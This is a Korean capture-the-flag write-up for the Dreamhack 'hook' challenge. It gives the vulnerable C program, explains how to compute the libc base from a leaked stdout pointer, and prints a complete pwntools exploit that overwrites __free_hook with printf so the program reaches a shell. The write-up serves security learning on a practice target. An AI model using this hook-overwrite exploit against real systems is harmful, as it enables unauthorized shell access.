dreamhack hook 문제이다.
RELRO, Canary, NX가 다 걸려있어서 어려울 수도 있겠다.
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
c 코드를 보면 stdout을 출력하므로 libc_base는 구할 수 있겠다.
우리가 원하는 size를 입력하고, 그 만큼 동적할당을 하는 부분을 확인할 수 있다.
이후 값을 입력도 받는데, long type으로 캐스팅 하여 첫 8바이트의 값을 주소값으로 참조하여 그 주소에 해당하는 값을 다음 8바이트에 저장된 값으로 바꾼다.
여기서 우리는, 우리가 원하는 주소의 값을 바꿀 수 있다는 것을 알아낼 수 있다.
실제로 ptr free를 두 번 하여 system("/bin/sh")가 실행될 수는 없는데, free의 hook을 printf로 바꾸어 버리면 문제는 풀리게 된다.
위는 풀면서 생각했던 내용이다.
__free_hook을 printf의 주소로 바꾸어 버리면 물론 free는 안 되겠지만 문제는 풀리게 될 것이다.
from pwn import *
LOCAL = False
e = ELF('./hook')
if LOCAL == True:
p = process('./hook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('host3.dreamhack.games', 22704)
libc = ELF('./libc.so.6')
printf_offset = libc.symbols['printf']
__free_hook_offset = libc.symbols['__free_hook']
stdout_offset = libc.symbols['_IO_2_1_stdout_']
#------------------------------------------------------
p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
printf_addr = libc_base + printf_offset
__free_hook_addr = libc_base + __free_hook_offset
#------------------------------------------------------
p.recvuntil('Size: ')
p.sendline(str(1000))
#-----------------------------------------------------
p.recvuntil('Data: ')
payload = p64(__free_hook_addr)
payload += p64(printf_addr)
p.send(payload)
#----------------------------------------------------
p.interactive()
위는 해당 코드이다.
Size에 1000바이트를 입력했는데, 그냥 넉넉히 전달해주었다.